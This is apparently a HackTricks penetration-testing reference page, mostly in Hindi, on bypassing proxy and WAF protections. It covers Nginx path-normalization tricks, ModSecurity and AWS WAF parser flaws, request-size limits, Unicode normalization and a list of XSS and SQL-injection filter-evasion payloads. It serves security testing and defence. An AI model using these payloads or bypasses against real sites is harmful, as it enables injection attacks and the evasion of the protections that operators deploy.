Proxy / WAF Protections Bypass

HackTricks का समर्थन करें

Bypass Nginx ACL Rules with Pathname Manipulation

तकनीकें इस शोध से.

Nginx नियम का उदाहरण:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Nginx बायपास को रोकने के लिए पथ सामान्यीकरण करता है। हालाँकि, यदि बैकएंड सर्वर एक अलग सामान्यीकरण करता है (ऐसे वर्णों को हटाना जो nginx नहीं हटाता) तो इस रक्षा को बायपास करना संभव हो सकता है।

NodeJS - Express

Nginx Version

Node.js Bypass Characters

1.22.0

\xA0

1.21.6

\xA0

1.20.2

\xA0, \x09, \x0C

1.18.0

\xA0, \x09, \x0C

1.16.1

\xA0, \x09, \x0C

Flask

Nginx Version

Flask Bypass Characters

1.22.0

\x85, \xA0

1.21.6

\x85, \xA0

1.20.2

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.18.0

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.16.1

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx Version

Spring Boot Bypass Characters

1.22.0

;

1.21.6

;

1.20.2

\x09, ;

1.18.0

\x09, ;

1.16.1

\x09, ;

PHP-FPM

Nginx FPM कॉन्फ़िगरेशन:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx को /admin.php तक पहुँच को ब्लॉक करने के लिए कॉन्फ़िगर किया गया है लेकिन इसे /admin.php/index.php तक पहुँचकर बायपास करना संभव है।

कैसे रोकें

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

इस पोस्ट में बताया गया है कि ModSecurity v3 (3.0.12 तक), REQUEST_FILENAME वेरिएबल को गलत तरीके से लागू किया गया था, जिसमें वह पथ होना चाहिए था जो एक्सेस किया गया था (पैरामीटर की शुरुआत तक)। इसका कारण यह है कि यह पथ प्राप्त करने के लिए एक URL डिकोड करता है। इसलिए, एक अनुरोध जैसे http://example.com/foo%3f';alert(1);foo= में मोड सुरक्षा यह मान लेगा कि पथ केवल /foo है क्योंकि %3f को ? में बदल दिया गया है जो URL पथ को समाप्त करता है, लेकिन वास्तव में सर्वर को प्राप्त होने वाला पथ /foo%3f';alert(1);foo= होगा।

वेरिएबल REQUEST_BASENAME और PATH_INFO भी इस बग से प्रभावित हुए थे।

Mod Security के संस्करण 2 में कुछ समान हुआ था जिसने एक सुरक्षा को बायपास करने की अनुमति दी थी जो उपयोगकर्ता को बैकअप फ़ाइलों से संबंधित विशिष्ट एक्सटेंशन वाली फ़ाइलों तक पहुँचने से रोकती थी (जैसे .bak) बस डॉट को %2e में URL एन्कोड करके भेजकर, उदाहरण के लिए: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

यह शोध का उल्लेख है कि AWS WAF नियमों को HTTP हेडर पर बायपास करना संभव था, एक "गलत स्वरूपित" हेडर भेजकर जिसे AWS द्वारा सही तरीके से पार्स नहीं किया गया लेकिन बैकएंड सर्वर द्वारा किया गया।

उदाहरण के लिए, X-Query हेडर में SQL इंजेक्शन के साथ निम्नलिखित अनुरोध भेजना:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

यह AWS WAF को बायपास करना संभव था क्योंकि यह नहीं समझता था कि अगली पंक्ति हेडर के मान का हिस्सा है जबकि NODEJS सर्वर ने समझा (इसका समाधान किया गया)।

सामान्य WAF बायपास

अनुरोध आकार सीमाएँ

आम तौर पर WAFs के पास अनुरोधों की जांच के लिए एक निश्चित लंबाई सीमा होती है और यदि POST/PUT/PATCH अनुरोध इससे अधिक है, तो WAF अनुरोध की जांच नहीं करेगा।

ऐप्लिकेशन लोड बैलेंसर और AWS AppSync सुरक्षा के लिए निरीक्षण किया जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार

8 KB

CloudFront, API गेटवे, Amazon Cognito, App Runner, और Verified Access सुरक्षा के लिए निरीक्षण किया जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार**

64 KB

पुराने वेब एप्लिकेशन फ़ायरवॉल जिनमें कोर नियम सेट 3.1 (या उससे कम) है, वे 128 KB से बड़े संदेशों की अनुमति देते हैं, लेकिन ये संदेश कमजोरियों के लिए जांचे नहीं जाएंगे। नए संस्करणों (कोर नियम सेट 3.2 या नए) के लिए, अधिकतम अनुरोध शरीर सीमा को अक्षम करके यही किया जा सकता है। जब एक अनुरोध आकार सीमा को पार करता है:

यदि रोकथाम मोड: अनुरोध को लॉग करता है और ब्लॉक करता है। यदि पता लगाने का मोड: सीमा तक निरीक्षण करता है, बाकी को अनदेखा करता है, और यदि Content-Length सीमा को पार करता है तो लॉग करता है।

डिफ़ॉल्ट रूप से, WAF केवल अनुरोध के पहले 8KB का निरीक्षण करता है। इसे उन्नत मेटाडेटा जोड़कर 128KB तक बढ़ाया जा सकता है।

128KB तक।

ओबफस्केशन

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Compatability

Unicode सामान्यीकरण के कार्यान्वयन के आधार पर (अधिक जानकारी यहाँ), ऐसे वर्ण जो Unicode संगतता साझा करते हैं, WAF को बायपास करने और इच्छित पेलोड के रूप में निष्पादित करने में सक्षम हो सकते हैं। संगत वर्ण यहाँ पाए जा सकते हैं।

Example

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

  • https://github.com/ustayready/fireprox: ffuf के साथ उपयोग के लिए एक API गेटवे URL उत्पन्न करें

  • https://github.com/rootcathacking/catspin: fireprox के समान

  • https://github.com/PortSwigger/ip-rotate: Burp Suite प्लगइन जो API गेटवे IPs का उपयोग करता है

  • https://github.com/fyoorer/ShadowClone: एक गतिशील रूप से निर्धारित संख्या में कंटेनर उदाहरणों को इनपुट फ़ाइल के आकार और विभाजन कारक के आधार पर सक्रिय किया जाता है, जिसमें इनपुट को समानांतर निष्पादन के लिए टुकड़ों में विभाजित किया जाता है, जैसे 100 उदाहरण 10,000-लाइन इनपुट फ़ाइल से 100 टुकड़ों को संसाधित करते हैं जिसमें विभाजन कारक 100 पंक्तियाँ हैं।

Regex Bypasses

फायरवॉल पर regex फ़िल्टर को बायपास करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उदाहरणों में वैकल्पिक केस, लाइन ब्रेक जोड़ना, और पेलोड को एन्कोड करना शामिल हैं। विभिन्न बायपास के लिए संसाधन PayloadsAllTheThings और OWASP पर पाए जा सकते हैं। नीचे दिए गए उदाहरण इस लेख से लिए गए थे।

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Tools

  • nowafpls: Burp प्लगइन जो WAFs को लंबाई के द्वारा बायपास करने के लिए अनुरोधों में जंक डेटा जोड़ता है

References

HackTricks का समर्थन करें

Last updated